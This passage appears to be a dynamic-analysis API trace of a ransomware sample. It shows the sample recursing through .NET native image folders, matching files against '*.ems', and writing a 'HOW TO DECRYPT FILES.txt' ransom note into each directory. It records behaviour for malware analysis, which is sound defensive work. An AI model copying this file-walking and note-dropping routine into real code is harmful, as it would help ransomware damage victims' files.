(hObject=0x90) returned 1 [0108.023] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\", lpString2="Microsoft.Build.Tasks.v3.5.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\Microsoft.Build.Tasks.v3.5.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\Microsoft.Build.Tasks.v3.5.ni.dll" [0108.023] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\3cf3740de20740208d614d330aa4416c\\Microsoft.Build.Tasks.v3.5.ni.dll", pszSpec="*.ems") returned 0 [0108.023] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d3107, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe92d3107, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe931f3c8, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x28f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.v3.5.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.023] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.023] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe793c458, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe793c458, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ca72594c581d8024d629f931f0e312d7", cAlternateFileName="CA7259~1")) returned 1 [0108.023] lstrcmpA (lpString1=".", lpString2="ca72594c581d8024d629f931f0e312d7") returned -1 [0108.023] lstrcmpA (lpString1="..", lpString2="ca72594c581d8024d629f931f0e312d7") returned -1 [0108.024] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\*.*") returned="*.*" [0108.024] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\", lpString2="ca72594c581d8024d629f931f0e312d7" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7" [0108.024] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe793c458, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe793c458, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.024] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.024] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe793c458, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe793c458, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.024] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.024] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.024] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe787dd77, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe787dd77, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe78a3ed7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x21da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.024] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.025] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Tasks.ni.dll") returned -1 [0108.025] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Tasks.ni.dll") returned -1 [0108.025] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Tasks.ni.dll") returned -1 [0108.025] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\*.*") returned="*.*" [0108.025] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\" [0108.025] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\") returned="" [0108.025] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\HOW TO DECRYPT FILES.txt" [0108.025] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.tas#\\ca72594c581d8024d629f931f0e312d7\\how to decrypt files.txt")) returned 0xffffffff [0108.025] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.tas#\\ca72594c581d8024d629f931f0e312d7\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.029] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.029] CloseHandle (hObject=0x90) returned 1 [0108.029] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\", lpString2="Microsoft.Build.Tasks.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\Microsoft.Build.Tasks.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\Microsoft.Build.Tasks.ni.dll" [0108.029] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Tas#\\ca72594c581d8024d629f931f0e312d7\\Microsoft.Build.Tasks.ni.dll", pszSpec="*.ems") returned 0 [0108.029] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe787dd77, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe787dd77, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe78a3ed7, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x21da00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Tasks.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.029] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.029] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe793c458, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe793c458, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe793c458, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ca72594c581d8024d629f931f0e312d7", cAlternateFileName="CA7259~1")) returned 0 [0108.030] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.030] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe9938c33, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe9938c33, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Build.Uti#", cAlternateFileName="MICROS~1.UTI")) returned 1 [0108.030] lstrcmpA (lpString1=".", lpString2="Microsoft.Build.Uti#") returned -1 [0108.030] lstrcmpA (lpString1="..", lpString2="Microsoft.Build.Uti#") returned -1 [0108.030] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.030] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Build.Uti#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#" [0108.030] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe9938c33, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe9938c33, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.033] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.033] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe9938c33, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe9938c33, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.033] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.033] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.033] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9938c33, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe9938c33, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe9938c33, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8ce46e3ffce2d37b9c50762a641c57ee", cAlternateFileName="8CE46E~1")) returned 1 [0108.033] lstrcmpA (lpString1=".", lpString2="8ce46e3ffce2d37b9c50762a641c57ee") returned -1 [0108.033] lstrcmpA (lpString1="..", lpString2="8ce46e3ffce2d37b9c50762a641c57ee") returned -1 [0108.034] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\*.*") returned="*.*" [0108.034] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\", lpString2="8ce46e3ffce2d37b9c50762a641c57ee" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee" [0108.034] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9938c33, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe9938c33, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe9938c33, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.034] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.034] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe9938c33, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe9938c33, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe9938c33, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.034] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.034] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.034] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe98ec972, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe98ec972, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe98ec972, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x30800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.035] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.035] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Utilities.ni.dll") returned -1 [0108.035] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Utilities.ni.dll") returned -1 [0108.035] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Utilities.ni.dll") returned -1 [0108.035] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\*.*") returned="*.*" [0108.035] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\" [0108.035] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\") returned="" [0108.035] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\HOW TO DECRYPT FILES.txt" [0108.035] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\how to decrypt files.txt")) returned 0xffffffff [0108.035] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.038] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.038] CloseHandle (hObject=0x90) returned 1 [0108.038] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\", lpString2="Microsoft.Build.Utilities.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\Microsoft.Build.Utilities.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\Microsoft.Build.Utilities.ni.dll" [0108.038] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\8ce46e3ffce2d37b9c50762a641c57ee\\Microsoft.Build.Utilities.ni.dll", pszSpec="*.ems") returned 0 [0108.039] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe98ec972, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe98ec972, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe98ec972, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x30800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.039] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.039] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe966520e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe966520e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="97d05b893a063bbb5b56c7b3d20c5245", cAlternateFileName="97D05B~1")) returned 1 [0108.039] lstrcmpA (lpString1=".", lpString2="97d05b893a063bbb5b56c7b3d20c5245") returned -1 [0108.039] lstrcmpA (lpString1="..", lpString2="97d05b893a063bbb5b56c7b3d20c5245") returned -1 [0108.039] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\*.*") returned="*.*" [0108.039] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\", lpString2="97d05b893a063bbb5b56c7b3d20c5245" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245" [0108.039] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe966520e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe966520e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.040] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.040] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe966520e, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe966520e, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe966520e, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.040] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.040] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.040] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe95f2ded, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xe95f2ded, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xe9618f4d, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3bc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.040] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.040] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Build.Utilities.v3.5.ni.dll") returned -1 [0108.040] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Build.Utilities.v3.5.ni.dll") returned -1 [0108.040] lstrcmpiA (lpString1="", lpString2="Microsoft.Build.Utilities.v3.5.ni.dll") returned -1 [0108.040] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\*.*") returned="*.*" [0108.040] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\" [0108.040] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\") returned="" [0108.040] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\HOW TO DECRYPT FILES.txt" [0108.040] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.uti#\\97d05b893a063bbb5b56c7b3d20c5245\\how to decrypt files.txt")) returned 0xffffffff [0108.041] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Build.Uti#\\97d05b893a063bbb5b56c7b3d20c5245\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.build.uti#\\97d05b893a063bbb5b56c7b3d20c5245\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 